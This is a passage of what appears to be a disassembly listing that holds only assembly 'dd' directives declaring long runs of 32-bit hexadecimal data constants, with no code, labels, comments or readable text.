		dd 57EC2A1h, 7220D43Bh,	78F1EC49h, 820FE0E7h, 45B59055h
		dd 83CC95D2h, 0D2851C6Eh, 7841EB75h, 63F0D1C3h,	72102E12h
		dd 800F8A87h, 0BB82E144h, 0F4D1610Dh, 62720124h, 96E94407h
		dd 55E3194Ah, 2E2D2E2Ch, 72805F2Eh, 8AE43214h, 2EB37DC1h
		dd 0AAC1F3F6h, 0C807C8Fh, 0FA7548D3h, 12BA093Ch, 1CF71CA6h
		dd 16F781FCh, 0F11EC9F5h, 0BB060682h, 0E35061C6h, 10E068CFh
		dd 9C268D92h, 5341A71Bh, 9D71FF52h, 0BD2077CDh,	0A17A90C8h
		dd 1494D38Bh, 206FB405h, 57885272h, 1DFC12B8h, 33242065h
		dd 18CE4F6h, 81806E46h,	2E69C36Ah, 8B020240h, 5FC385C6h
		dd 53F8C41Eh, 80B901h, 0
		dd 2000005Dh, 2516F00h,	7B00000h, 340000h, 33D5452h, 43AC14BFh
		dd 0B4733A91h, 823DB8A7h, 0A67DF4F5h, 0F0FBC264h, 0C6509FB0h
		dd 7671C2C1h, 0FD8751AEh, 0A5F2942Dh, 126BD7DDh, 2F6AC67Ah
		dd 940997A9h, 0CF735C4Ch, 4C8FEB8Ah, 92D232C3h,	53D53352h
		dd 1D6C4A9Ah, 581A61C7h, 8D39749Eh, 0F3FC453Ch,	4E0B3DE4h
		dd 5F09C90Dh, 6D04D93Ch, 0EE0EAD4h, 7DDC5BDh, 3742BAE8h
		dd 58C973Ah, 0C5C6262Dh, 510606D8h, 0EC08CFD4h,	1BDBFFE0h
		dd 241171A5h, 0B8867AC7h, 48D2E845h, 0E16070FCh, 1143D6B1h
		dd 84E14100h, 5E683D2h,	9E595A29h, 0C1323966h, 4AEDF1E4h
		dd 8D101D29h, 0D1412167h, 29F33FA7h, 0C6BE38AEh, 5BE511E0h
		dd 535BBB73h, 0F1C7EF5Bh, 0DB8B120h, 0D069A3Ch,	5F0715DAh
		dd 5CE6B934h, 0FEF6FAAh, 9E87C709h, 3DEE7CD0h, 0A26BF5E2h
		dd 0A715D56h, 43BB5160h, 5AD6C1DCh, 4F91BBAAh, 50583346h
		dd 851A68DAh, 0CC156966h, 879ECA67h, 67090B88h,	4FFA5F29h
		dd 0D789B927h, 26961132h, 0C378639Ah, 436186BAh, 7E5EB020h
		dd 4F241D5h, 733BB60Dh,	0AE8C2C51h, 4E18B01Eh, 0E61569A6h
		dd 7ECF6E0Dh, 0E04C8623h, 5A4DF0D2h, 13BAAECh, 0F1276E0h
		dd 0AA1946Eh, 23A3A107h, 14CAE922h, 0FD231A2h, 76F0E8E8h
		dd 2D5987Fh, 90DAEE44h,	0EFE7510Fh, 96371121h, 86B99011h
		dd 5920AA48h, 0B070CFCEh, 60D7454Ch, 0E0FCBCDEh, 8939140Bh
		dd 0DF133B2Fh, 9794A1F8h, 7CEC53D6h, 5AF4D5EFh,	82F9DC36h
		dd 0A6F4C134h, 0D214434Ch, 490CBBC7h, 4F608914h, 4295056Bh
		dd 0D610B65Fh, 505F3609h, 9F132C8Ch, 0C2D10946h, 8C2A9222h
		dd 0CD090920h, 0C1DA9EEh, 7672C921h, 795C62CBh,	0BF9F6272h
		dd 8587852Ch, 0A36831E3h, 6A101C20h, 1751BF66h,	5777A636h
		dd 12A106ABh, 0E61AEEA9h, 0C3B5E73Fh, 0EB379C94h, 33BE9918h
		dd 0C6C80CEEh, 0F5CCB7F8h, 739FCF3h, 0E2B2BDE6h, 57C2F6F0h
		dd 0D27E5F17h, 2E1A2B3Bh, 2A0EEBB7h, 0DBA11C69h, 5D0A0F1Bh
		dd 0F5E6A088h, 0A4827F7Bh, 0FB4BC2D0h, 8C698DA9h, 69531F6Eh
		dd 0A261CCA8h, 63E8D71Bh, 0E7A2EAC3h, 9F7CAB5Dh, 0EEBB8287h
		dd 74C26432h, 0E5FC6655h, 264B1A97h, 1999EA20h,	265F6963h
		dd 0B1EC0F0Dh, 0DACB02Bh, 209717F6h, 2D2641B4h,	0D438C46Eh
		dd 75FEADADh, 24BC0E34h, 42D221B8h, 0E3CF2C85h,	35CC6934h
		dd 1CC2AA92h, 0D2CD25EBh, 0F1B6199Eh, 60FC46B5h, 0ACA77654h
		dd 6571A61Dh, 75E8D56Dh, 0E10DB2E0h, 3672178Bh,	0BB90AC8h
		dd 47846E2h, 7DBC131Fh,	6FDEE40Ch, 67860BF4h, 2708D1E4h
		dd 20E4BA9Dh, 73E7C938h, 742927B8h, 41B6AB57h, 77B2EAE8h
		dd 0DA6733D2h, 65A2D571h, 0AE9A9CA3h, 0C3CC2DDDh, 0E5F1FE88h
		dd 1DB03665h, 7DDBEB58h, 2D5DE48Eh, 9F415432h, 4389B40Ch
		dd 4EFBC9EEh, 716D5391h, 0F5FCEA82h, 64C4A637h,	8CD3F336h
		dd 8F1AA59Fh, 0CC72FC33h, 0EA781D13h, 29B9B33Dh, 1E949C25h
		dd 3BDDB35Ah, 2D84355Dh, 0B19738F6h, 0D4945BFEh, 2AA5080Ch
		dd 22A732A2h, 0AFE1CD0Ah, 49CD21DCh, 0DA1A5887h, 9D08EE2Fh
		dd 184463ACh, 520C1E09h, 52107F8Fh, 46E6195Dh, 34B1B39Bh
		dd 0DEBE3329h, 6EDE08B3h, 13A147D4h, 62FC2817h,	3603C3A7h
		dd 0C4D2BA45h, 3C70B2A6h, 0B6F54053h, 0F6157B56h, 1FB88416h
		dd 3F03D626h, 0DB37A9C9h, 0E4F96AD2h, 0E2D995E0h, 0FBE91E66h
		dd 10AAEEE4h, 13D9EF6Ch, 58875580h, 33585B07h, 0A598EF0Fh
		dd 95137D26h, 48D7529h,	0B3FAFA0h, 0EC12976Eh, 3EA70AE3h
		dd 0BBDEF5A3h, 88A684BDh, 2C4E7AB7h, 62B7200Eh,	4E838152h
		dd 53509BA4h, 0BA6626AEh, 77178EEFh, 8CB7643Ah,	9D1C5E32h
		dd 0E452C624h, 55245A39h, 43AC1D4Dh, 0C7403351h, 30641AADh
		dd 0D026E747h, 0A17A0C48h, 24A957EDh, 0B51BC780h, 0A3D9F91Eh
		dd 0B8BB0F68h, 45C361B9h, 0C7804859h, 0A679EA73h, 6DEB38D3h
		dd 0DC411468h, 19BD9B01h, 0E3337F3Bh, 39218AB9h, 841CDAC8h
		dd 0C859C416h, 0B3A11384h, 9F2DCBF8h, 0E4D46150h, 476C7B7Eh
		dd 981A37E7h, 3B2E248h,	0CD37D4ACh, 0DA4E28E7h,	0AD8D47B6h
		dd 0C5909772h, 57EE146Dh, 0D61932A9h, 0A797E9ACh, 72DD6016h
		dd 0D1C90792h, 47FC242Bh, 1EB15A29h, 51D15C88h,	16D11C44h
		dd 560E6CF8h, 7934C04h,	6D3A4A8Eh, 0A38CB6B3h, 0FF90C008h
		dd 955DBF94h, 0EF3CD60Ah, 0B9A7EDB2h, 0B25482BAh, 884149ECh
		dd 655797A1h, 0A0536EB3h, 0FE571C62h, 0BBE4E2DFh, 0ECACD587h
		dd 4A7EC7C4h, 246B8C9Ch, 0A31FD0D2h, 8D10D2B6h,	698B918Dh
		dd 1D1A7E28h, 0CECF356h, 7EA5640Ch, 0F6A1D90Bh,	7424A935h
		dd 0CA1F6056h, 5208B680h, 0DD4F0D6Ah, 0D30FF756h, 54055B29h
		dd 119FFED4h, 0A334CBE3h, 0E84651A3h, 0A659CDD3h, 2DFA43E5h
		dd 0C755F6Bh, 44019E98h, 68E8ECFFh, 0EFD516B8h,	0ED13A3A5h
		dd 0B5975DC8h, 5B09266Dh, 7AF9908h, 0D9C99673h,	4B46FACBh
		dd 6BDFE218h, 174A5A2h,	0C392D5E0h, 86407583h, 0A35C0CBCh
		dd 0C79036Fh, 5DFF9C21h, 2193D686h, 0EE5006F2h,	0A38EA4F7h
		dd 7335383h, 394EFD35h,	2C0B4004h, 52EC478Ch, 0A9AC0917h
		dd 0BAA53A8Bh, 94F3B4CFh, 6A491C1Dh, 54B241F1h,	408DC1E2h
		dd 604A6CAh, 42C04DFDh,	475D9E68h, 52703DD3h, 6A87A67Ah
		dd 4804387Dh, 0A809A513h, 4D92B47Dh, 0B3C91FB1h, 7A3FD913h
		dd 0C0A7034Eh, 9859F149h, 0D1C6F3FEh, 0ED33B4ACh, 0BFDE7130h
		dd 87CF8937h, 0E158AFAEh, 8BA041B4h, 92616778h,	12AC23A9h
		dd 2641A4CDh, 0A886574h, 0FBAF514h, 92F8F591h, 466D0016h
		dd 84ECCD6Fh, 0BFC85DD7h, 894CE9EAh, 74CAF9EEh,	0DCA4BA98h
		dd 5F3A1CC0h, 680AFB13h, 37712FD9h, 87F9A061h, 0D8E500E7h
		dd 7909A2C5h, 0CFB585Ch, 6F003F99h, 12C4C3AEh, 385EE8F4h
		dd 3B2AE1AEh, 42BB536h,	589AA8BDh, 897BE773h, 0CADEE97Bh
		dd 9EEA9A1Dh, 76AE8683h, 2FFE0219h, 0C278234Eh,	680A1441h
		dd 683A90B4h, 79DB2D5Dh, 74FFCCD0h, 1B83E41Ch, 0FC137C3Dh
		dd 0BD282DE3h, 6491E16Fh, 6050D2BEh, 0A9466B79h, 8C1A37A4h
		dd 367B433Eh, 9F17BA4Eh, 0AE3A40C7h, 0DCE1D9E0h, 59F1CFC9h
		dd 7BA92F3h, 0E4FFDEF3h, 64869688h, 8389EA24h, 0BB02B90Eh
		dd 60591C8Dh, 0E457056Eh, 87908C96h, 621E433Dh,	108855AFh
		dd 79074067h, 9C3256BCh, 227C82EFh, 5B481398h, 26874BDCh
		dd 8FAD8F8h, 0EF4048B7h, 3D568BF3h, 0BC0F868Bh,	7CE1A4CFh
		dd 9E23765h, 0B4036968h, 0F6F15AA7h, 97543B62h,	1C7AD619h
		dd 0A68F452Fh, 0B8AD3A5Dh, 4B3C1148h, 9D2DE657h, 1A5C7557h
		dd 927061D0h, 0E6B1F0FAh, 2D08964Dh, 63921221h,	7CF84108h
		dd 4D41BA6Ch, 28169DCCh, 2868A7FEh, 3B3DAAE3h, 74D5E4E7h
		dd 0A1ED7C1Bh, 0EDDEA4DDh, 6D192EC0h, 19232086h, 1E149B30h
		dd 0BF995B1Fh, 0CF0EFED4h, 98D1D8C2h, 0E056B7FCh, 90D104D6h
		dd 0A5B7731Eh, 0E667768Dh, 0B2734821h, 2C7C8F05h, 4F78C5E7h
		dd 0A4185313h, 73CF21B7h, 5CB90A21h, 0CABC7496h, 0F105BFCCh
		dd 9055B482h, 20978FC2h, 0C745F7FFh, 6A744453h,	29AFA748h
		dd 5D4DD26h, 0DC1BF530h, 3F005C74h, 5FA3E5F6h, 7305D12Fh
		dd 79E93806h, 0B968B57Dh, 0D34168Fh, 492B46DDh,	0B34DA520h
		dd 97D9E8D4h, 0AE27554h, 511ACA12h, 0C39338E9h,	36ED4560h
		dd 72C253DAh, 992D5CFBh, 0C0974545h, 0F2874DD2h, 1E5424D8h
		dd 348D220Ah
		dd 0FF26542Fh, 0B14D2028h, 2238F604h, 4237AC75h, 2D15785Fh
		dd 372D59C7h, 8C12DC39h, 0B78B8B02h, 0BF06845h,	84556BE9h
		dd 906C3F1Bh, 3C2E4F80h, 0DE52905h, 0B51F13A4h,	0B997924h
		dd 0DF0917A1h, 7779305Eh, 85ADDFF5h, 0F8AB4451h, 0CD968482h
		dd 5B473037h, 598AD7C1h, 2B9F018Dh, 0D4398ADAh,	0FE9D8F4Eh
		dd 0CCCEED44h, 3286B64h, 0BE5B431Fh, 558120E9h,	287273CCh
		dd 0F4F74CACh, 44E2716Ah, 63E4FBAEh, 0E655EB82h, 0EBA13FE8h
		dd 5495FF50h, 7B3FF4CFh, 0C9837FEAh, 2F70F96Fh,	24250D5Ch
		dd 0E9FA26F5h, 0DEA3372h, 246398FFh, 2384CEA1h,	2BAD6C71h
		dd 43B686FAh, 491C5812h, 0F2CD65F9h, 7B290A91h,	0D624D2C6h
		dd 44966D82h, 392ABE35h, 330ABBA3h, 3743D591h, 0C48A52C2h
		dd 91B224D5h, 0E506C9FFh, 65F3E5B9h, 78472Dh, 0D9C23804h
		dd 17CC4A6h, 117C7A27h,	0D824D3E9h, 6D184BD8h, 0C7CDD8B1h
		dd 30266FFDh, 615C121Ch, 0A00C71D0h, 0C3157070h, 0AE5D0A00h
		dd 7EECFD78h, 9501AE88h, 0D32D3846h, 28C2603Ah,	0C28421DBh
		dd 0C579BB99h, 4F61607Ah, 0BDE415C7h, 0D42D09D1h, 0B23FF5EFh
		dd 0C2B328F9h, 0E542BDE7h, 0D100EA52h, 0AF663094h, 40E961F7h
		dd 1B95224Eh, 0E575DCE3h, 0D2B9E718h, 9F0DFD66h, 49A51B22h
		dd 8758BC25h, 0C734E32Fh, 8A17BC74h, 0B936A1Eh,	78299F1Eh
		dd 6DD19682h, 93CB17Dh,	6F47FD1Ah, 0C3CCB9C1h, 70D9FA5Bh
		dd 0E08B1981h, 49B7658h, 1F01096Ah, 3072C45Fh, 4F0981C5h
		dd 83BF9FDFh, 1E256E36h, 0AFB3F7D0h, 0BD37B085h, 0A37C0C4Dh
		dd 158367DFh, 0CB5F903Ch, 0AB072EA0h, 26D18C67h, 5F954B90h
		dd 0FFE0584Eh, 0F040FA71h, 0D0089C79h, 47328640h, 0CE9BBDF8h
		dd 0D2503EB1h, 3165DB2Ch, 0BB1340AFh, 614371FBh, 0BF1B1775h
		dd 3456E3B2h, 9509AF94h, 21F8428Eh, 29507F35h, 748C79DEh
		dd 0FECC16BBh, 66723ED2h, 7130CC9Fh, 7AC771C7h,	5E0ED90Eh
		dd 76A865BCh, 60E00753h, 848F999Ah, 9520713Bh, 3BB58C67h
		dd 0FEF2FC9Ah, 5966AC5Dh, 0E9FD6C36h, 63AAF7ABh, 25A13622h
		dd 5D1D5735h, 5A1D5D3Dh, 579F1630h, 5B1EBA0Eh, 633FC0BBh
		dd 96B540DFh, 0C26664E3h, 13EEA1EFh, 0A656A1A7h, 75842841h
		dd 8853911Fh, 6832F6C3h, 16C2595Fh, 0BD3FCEDAh,	2B149DDh
		dd 0ADFA25BCh, 0BE09B899h, 9DAC2D71h, 9FF32402h, 327D85F4h
		dd 9CB8B689h, 2CB714C2h, 118132BCh, 8D271746h, 551BA799h
		dd 1D930DF4h, 72278324h, 0E4CC5525h, 0CD0134E9h, 85333925h
		dd 0A28772D6h, 0F83E5A77h, 124D8B11h, 0D32AC4E1h, 0E2C12784h
		dd 0C7EB8E8Fh, 8136E58Eh, 3141DDF7h, 8905BC4h, 4DAFF5C1h
		dd 1E25553Bh, 9EC121C4h, 731A6640h, 77116CB6h, 40CD3058h
		dd 0DEE91B86h, 0F07575D3h, 0F46339FCh, 0EA5BA862h, 0C8C1F77Dh
		dd 0F1600F31h, 299D58EEh, 0B514C541h, 0B3D2A945h, 0EFF66A42h
		dd 577C42E5h, 0E729015h, 0AD57A2D3h, 0F2C74FD6h, 0BB91BD5Fh
		dd 0FC9F3404h, 0B3281826h, 0A46C26C9h, 0E5BFCD66h, 20ABB42Ah
		dd 0E1FD2759h, 7CB5C3D7h, 7F8FD914h, 855E8F47h,	0C7AF1E43h
		dd 1904295Ah, 22D2D9CDh, 6EAEA200h, 15C9EF04h, 0A4073304h
		dd 0F6177180h, 87813C1h, 68C1AA96h, 21F3840Eh, 1D003F8Ah
		dd 76773EF4h, 0EA0DEF31h, 9E90E008h, 476852BCh,	0E319512Ah
		dd 98FFF3FCh, 6516C74Eh, 27B7EF6Ch, 72A9343Ch, 44023C18h
		dd 76C6B335h, 0BADC3197h, 92601929h, 34B08DBAh,	0CB56B19Fh
		dd 97B74A51h, 83D9B02Dh, 33DBE38Eh, 0CB4E17Ch, 0FDFD08C5h
		dd 0CB8FE987h, 1ED5116h, 155B3A31h, 0DF16ED0Bh,	0F3CB1A02h
		dd 0A8F8B997h, 0C89B6089h, 866B427Ah, 26E2F407h, 5F902D3Fh
		dd 0DD98EE25h, 2391EAF8h, 0D4CEDBE9h, 7A7F4806h, 0F92B8AE6h
		dd 0F0777F92h, 0CF958C21h, 9E0DBE54h, 958F56F9h, 0C429A2D4h
		dd 2B8DB013h, 71A17BAEh, 0B32AB857h, 0A3471660h, 0FB2099CFh
		dd 7B33D6C1h, 86991ADEh, 0A7F0C569h, 7CB4F083h,	0FF519A1Ch
		dd 761527F0h, 1A54F19Ch, 72A291C3h, 87E81218h, 2DE5AB13h
		dd 0DB134401h, 26F7D3D4h, 29BC6988h, 65BE7FE0h,	727217F7h
		dd 6F831F51h, 0C3EF77D7h, 5C23DAEBh, 12BF7D84h,	8221CE62h
		dd 724591D2h, 0B54E1AB7h, 59A8757Ch, 0E69CF2Fh,	0DE8E4D98h
		dd 134B88DFh, 0D314FB1Fh, 0B705FFE0h, 1F0ADBBEh, 6EFEB09h
		dd 33CC8FA7h, 0B575782Eh, 2E701183h, 9A756C77h,	32B96570h
		dd 381411C2h, 0D95329D8h, 925C8991h, 0A518A8A6h, 494A33FEh
		dd 0DB2D23B5h, 0B9F0A40Bh, 5DC46030h, 0EF3BD8C2h, 6923A3D7h
		dd 0BEA53369h, 3EC6C2B5h, 9590A5A4h, 2D70C5F1h,	4A16F01Bh
		dd 3A815E92h, 0A3294354h, 9DCB06C8h, 19BA7249h,	572112A0h
		dd 57532E10h, 5AE3F024h, 0C1E49277h, 0C7A68B15h, 0A2D4D78Eh
		dd 185007D9h, 110876B9h, 0D1BB5DE4h, 5316731Dh,	0B659FEC1h
		dd 0DA106784h, 180F4664h, 0B8B42FB4h, 0E34D79D5h, 84DE71BDh
		dd 0A167A46Bh, 0E70DB1C4h, 4066954Bh, 4359AC7Bh, 0F4EA7DC1h
		dd 4C46F6A3h, 0D12DEC0Fh, 0D0905572h, 97B76A6Eh, 5EC7805Eh
		dd 483FC4Bh, 10A6EED6h,	6B8EFDBDh, 3D56FB6Ch, 0FF40AF6h
		dd 0D6AE0087h, 0F9B53B8Ch, 8E3B9ADCh, 777E178Bh, 0FDBDF2EDh
		dd 2216FF7Eh, 0D5CF1A7Bh, 0ACCB4A18h, 0B4E0D3D5h, 0B703F575h
		dd 47953931h, 657BD8A2h, 7668EB51h, 18387CBFh, 0B1928C78h
		dd 993E6D14h, 0DAD6F58h, 38F18F45h, 1A7D1C28h, 0F08ACFD0h
		dd 2F0FA9DAh, 933F004Bh, 79CD864Bh, 0C1C3FE11h,	44296EE1h
		dd 4612C084h, 63566668h, 990ADD87h, 5F08A69Eh, 49E6A8D6h
		dd 2CBE020Bh, 0D13CC6F7h, 1A9BEA64h, 0F7B61BADh, 94CC35E6h
		dd 8564671Dh, 0C713AF7h, 1986FC8Dh, 0DE260C3Dh,	0AC21E454h
		dd 0CFAFC28Bh, 51466C03h, 42B7B835h, 0A2E87C56h, 6ACB3289h
		dd 0D333BF5Ah, 3A26998Ch, 0C01895A2h, 34438C9Ch, 0D83D1B31h
		dd 0EC4E5C69h, 2112951Dh, 0E231E6B6h, 3CA3A387h, 0C5D7D76Ah
		dd 0DB94D29Ch, 7A249081h, 40F7806Eh, 0ED83B2FAh, 7FA23DBBh
		dd 7CCF0157h, 801E9391h, 124AB9F9h, 6C74CF24h, 25E439EFh
		dd 94315455h, 0A2045632h, 347E00B8h, 884B3ABFh,	0B0F4F7DCh
		dd 0C89359CBh, 24AEE6E6h, 8C22B69h, 0B88630B3h,	491EF8A3h
		dd 0B8012C0Bh, 4DB0A2CEh, 0D98036E0h, 546EE8E1h, 0E4F0957Ah
		dd 42B3E29Ch, 91600805h, 0A29186D1h, 3F152C6Dh,	40F39A8Fh
		dd 197231E4h, 9E683882h, 45BE9A5Fh, 825CB9A3h, 6C638443h
		dd 70AFC835h, 4A9B3A73h, 0BD62928Eh, 0DD77B4E1h, 0B3CCCC9Bh
		dd 0D1C904EAh, 828BC6ABh, 9D88CAE0h, 7CD99DFCh,	724BBE51h
		dd 0D81E6A5Bh, 0BC844F9Eh, 5D1E9CF8h, 0DCEB219Eh, 73500881h
		dd 0E7A86752h, 34F1539Eh, 14A39195h, 160B2901h,	6952E1F2h
		dd 0E0AAF322h, 50E7D16Fh, 0DFFED093h, 0DEBEA9EAh, 0BDBFC005h
		dd 7AFEAC75h, 3E1ECCBBh, 47C2173Dh, 0DFB81C3Fh,	45E0A98Bh
		dd 58CD303Dh, 0B7BC3E89h, 0BFE915FFh, 7410EA05h, 0D1921FEBh
		dd 8FAB86B7h, 9BA99E3Eh, 3597AB5h, 608F55C2h, 0F4C7CA49h
		dd 7957D936h, 6C79501Ah, 150BF84Dh, 0E7603EA9h,	210BA062h
		dd 0CE8F60C9h, 73E49059h, 25D3D6CBh, 60902E2Dh,	74DE695Dh
		dd 5471D5C4h, 4ADB39C6h, 4E64F340h, 0A0AA0EB2h,	9A959146h
		dd 730097FEh, 0EECE6DC1h, 32C18C34h, 96A20C8h, 0EF68239Fh
		dd 0F3BD191h, 2CE94458h, 33B69B99h, 1A459ED4h, 7762D682h
		dd 0FC3EA269h, 0AA389D74h
		dd 6B290BD5h, 0D1C0555h, 0FE4EF19Dh, 48939BFh, 1B4AF8DAh
		dd 5FF0C836h, 0FAB683F2h, 0DDAE62B1h, 9531AB5Ch, 67BFA48Fh
		dd 74A3F198h, 9D58DBF2h, 5644E90Ch, 42029BC4h, 0E36CD5EEh
		dd 0AC658556h, 0BCC7C4EEh, 6627AEACh, 683E9B85h, 8D51FC31h
		dd 0AB62B9D8h, 4A9779F0h, 0F40CBF25h, 6296C81Dh, 4A290D97h
		dd 7350B89Ah, 0FCB413B5h, 357033Fh, 58703B4Dh, 4B72B230h
		dd 0EAF2E7A4h, 8827D5Bh, 8875DE02h, 6D150E7Eh, 0FCEB4EE0h
		dd 6B581B8Fh, 64FB281Dh, 5682E257h, 6FC98407h, 3112016h
		dd 0EA8CA839h, 0F00A5DD6h, 0BD321ED2h, 0E338EE08h, 51C2A40Ah
		dd 0DDFA5173h, 533CE08Dh, 5725C10Ch, 2A5A74E6h,	40DB4289h
		dd 58AB581h, 73621EACh,	0FEEE3ACAh, 7C39F2CFh, 1DE48CCAh
		dd 0A6977B92h, 8A9E2F4Eh, 0F1B036FEh, 7A841D12h, 0E45616B7h
		dd 5F57BD29h, 2E2851CDh, 837259E5h, 0AC49E0B3h,	1EB0DD68h
		dd 0B60581B2h, 3E2BC7A5h, 0C4EFF4CCh, 0C91CDBF6h, 73EEA7B1h
		dd 7DD262AFh, 82816B9Ah, 1C24E727h, 0C663E1D3h,	0A6B410E3h
		dd 8BC1D23Bh, 182F83D0h, 4E506F18h, 1C64D3BAh, 20C79253h
		dd 0C373320Fh, 55258EEFh, 0A6DD9A3Dh, 5F237FEAh, 3D6B9DA6h
		dd 0F2D20F8Eh, 619935F3h, 6C56C2B7h, 7C87F237h,	0ADAA8BA1h
		dd 0AB1A7CEh, 0BA45B9E9h, 73148627h, 0D37FD74h,	0D2E01B79h
		dd 0F939FEEFh, 0C00EF2F3h, 2FF316Dh, 855E14ACh,	0B968C0FDh
		dd 3F0F6C40h, 9284D1FBh, 0DA238717h, 0AA81D4B8h, 695C9E88h
		dd 63038236h, 11BC1DB8h, 15FCDC48h, 0E078283Fh,	80C676B1h
		dd 0A6AD11C0h, 0C8447A07h, 0CEC5A322h, 8AA6F961h, 10CDB9C2h
		dd 9A5A6DD2h, 0E8B21C2Ah, 0F2ABBC9h, 7BAF479Ch,	1855EA80h
		dd 124182E3h, 199410A8h, 0B86CFF79h, 56BECF02h,	9AA67D76h
		dd 0CF4B43E1h, 0BC0DA6F8h, 796A2932h, 873BF290h, 0DFE6FDA2h
		dd 87C3718Ah, 2110A54h,	5FC0162Bh, 80F0C786h, 2436ADC5h
		dd 0BCA5BA3Fh, 0D1DD0B50h, 82C9E97Ah, 8C141184h, 70DD0A58h
		dd 0B7E39B50h, 5CA88271h, 449B4AD0h, 93357368h,	0A87069E1h
		dd 496A6055h, 9D0BC76h,	192319h, 0FD269DBEh, 35411D12h
		dd 61F5B851h, 0CB4030ABh, 0CF0FD14Ch, 8A386460h, 0B38F96CEh
		dd 6E5497E5h, 27C00381h, 0C608E2h, 0BE4881CDh, 0B3B96247h
		dd 8B8B5446h, 8BC0EA92h, 0EB218363h, 9BD03B93h,	23026D13h
		dd 977D85F1h, 0F4CB4323h, 0D021A1FDh, 7E1FCB76h, 2022C1B8h
		dd 2BF31409h, 8B0CD8B5h, 1FAEFAC7h, 24FD138Fh, 1709BDF8h
		dd 0AA3FF122h, 2E3AC7CDh, 960B6AAEh, 29429170h,	0D0C32976h
		dd 0A9B9D772h, 0D470CCEEh, 0BEE936CFh, 0AA9E5AB6h, 11D3FA6Dh
		dd 654B23CBh, 0DBFA9D0Eh, 249D20B9h, 1FABF677h,	99D2E61h
		dd 0AF1DF695h, 9083921Dh, 98C8E18h, 69CC376Ah, 9D649B9Dh
		dd 0D46FAC13h, 0CD7AD450h, 0B77D7F9h, 0BDB33636h, 59C7CB6Dh
		dd 0D5581C69h, 1D21999Dh, 0ACB01BCCh, 0A0F58CA7h, 6B746BE2h
		dd 0BFE0650Dh, 16C524EBh, 0ECA01C7Fh, 657A419Ch, 0D3C7A5E0h
		dd 26AB82EAh, 2C00594Dh, 0E5817E0Ah, 0CEB06B07h, 0FD08B1CAh
		dd 3E026F1Dh, 3661C3E8h, 0EEEC2FE8h, 0E6E827A1h, 1BCE7BF6h
		dd 7C0EE420h, 84069F99h, 9A493925h, 6D8AD0D9h, 84D33DA2h
		dd 21ABA096h, 562BE5F5h, 28B627AEh, 0BFEC45F0h,	0D8DE77B6h
		dd 8D8ADA90h, 1F62E4D9h, 70BAE180h, 2F855E1Bh, 641D2353h
		dd 18568532h, 7CCE4FCBh, 0E68D6DDDh, 0DC8F4F77h, 964600C3h
		dd 1C1E46Eh, 0D033CDEEh, 27073218h, 0F0E71F2Fh,	0F18B3F5Dh
		dd 488D8D04h, 978B0C2Ah, 4C407F6Bh, 0BEB2A29Ah,	6E61AD5Eh
		dd 775DB779h, 0CDB31E94h, 3247A9FFh, 0DA60067Eh, 8174B189h
		dd 95E7BBDFh, 0C1F51834h, 0ADA88FFDh, 0D22886A8h, 50E2B414h
		dd 7A914CC3h, 0BEE6B655h, 220AF7AEh, 760FADCBh,	23358475h
		dd 4A759948h, 0FBCD446Fh, 0D9FEAFA9h, 0E6B16507h, 628B58Dh
		dd 0ED1EF41Ah, 2E33F2AEh, 0C6F52EE3h, 174B3223h, 5B0D5C00h
		dd 6C555CA9h, 76CB3AFAh, 94E78C9h, 7ADBADE1h, 614C8356h
		dd 211689F5h, 513A72ABh, 62058E8Fh, 49943B97h, 0C3D4DB61h
		dd 0F2404F94h, 8F12462h, 86832012h, 0BDB1BA74h,	9FEF2DEBh
		dd 0FB399B72h, 6E6B7B16h, 5F864FB6h, 0B69D60C1h, 84AE1627h
		dd 0F97D5354h, 4B4CABBCh, 84192135h, 0B08DF835h, 2976A5B5h
		dd 3732DF66h, 0EB6244Ch, 0C71E0B9Dh, 0F5021811h, 73D6424Bh
		dd 89092287h, 4E1EF1F6h, 0E67CE6CEh, 0D2E1957Fh, 639EE285h
		dd 43AF406Fh, 4D2B8657h, 95D4F876h, 0CBBAEA64h,	9B0201ACh
		dd 2CCFBA73h, 0D193FE44h, 4AA8456Ah, 0B4620CFFh, 9BAAD566h
		dd 1A07D0EBh, 0B8E591BBh, 0C737AB4h, 78A77D88h,	6E6E7084h
		dd 1A838CB7h, 0A299952Fh, 54ED83FBh, 0ACC99E45h, 7F25592Dh
		dd 0A48DBE4Ch, 0FD280802h, 6317E6Ch, 8345E6FCh,	0A94BE4A5h
		dd 0E2484C66h, 0A18B1D60h, 6BDD10E1h, 55786330h, 274994A1h
		dd 0EBC27E32h, 6130257Ch, 91830DE3h, 14304F1Ah,	8C6F3CA7h
		dd 3514D646h, 1128C7E1h, 0C47AD52Ah, 0E9F96280h, 0BEE798CFh
		dd 3C8D64BAh, 0D643D8ECh, 97E17862h, 0BD0DAF8Eh, 70811B2Eh
		dd 0C20816E8h, 0E6C46A5Dh, 4C1FE281h, 393EF972h, 0E96070Fh
		dd 7CEDB687h, 53A77E5Dh, 4A0E907Ch, 3BC820A4h, 18CD3E86h
		dd 0B1D497D5h, 0F712004Eh, 0CF6167Bh, 672828BDh, 98F185FDh
		dd 485C0ECh, 3887FA18h,	0D64BE0E8h, 0FFDE4EBDh,	3F9F5593h
		dd 29793777h, 64BB061Dh, 2C94F145h, 88A75AF4h, 84C1D6EEh
		dd 0D68ED5DDh, 5B7603BFh, 0CE25351h, 0C9D1D238h, 430241C7h
		dd 8B235ABCh, 7AEC620Eh, 0B1A7442Dh, 5001B15h, 8207F1B7h
		dd 85EDD24Ch, 0D8803113h, 0B8B647FAh, 976B98EFh, 856651C6h
		dd 382D82A7h, 0BC05907Dh, 0E1BE487h, 957C0A49h,	5D887A6Eh
		dd 56C5E896h, 63C565D6h, 0C6438EA4h, 75EEC4BBh,	0EEA07546h
		dd 0A5F0BAC8h, 0E56FCDEEh, 0A7400E8h, 46F605A0h, 11EC5658h
		dd 0F2EF7230h, 0CAB461B8h, 0BDC2898Ah, 0B56FDDA9h, 87C09F83h
		dd 0C2EF6DA8h, 0E2A5368Ah, 0F2C88B33h, 0B843BA52h, 0A4A58852h
		dd 8C04A70Ch, 0AC37C4C8h, 291A0BA7h, 0EA07CE7h,	77134F57h
		dd 1F9D580Fh, 0FCF2EA29h, 0EA943AB7h, 5AA96875h, 6DFFF7B6h
		dd 0B0FDDBBAh, 0A233BE37h, 0D14BEDDh, 5B6C1365h, 0D2C1FA31h
		dd 0AD89174Bh, 0E9DE70E9h, 0F41B5721h, 9D6EC9B1h, 4BEC6799h
		dd 6BB3FDCDh, 0CA0B8D44h, 735170A8h, 23F30ED6h,	9CDAE61Fh
		dd 4035E898h, 0D5194EC0h, 0F108D6D8h, 0F9DB329Dh, 0F873007Dh
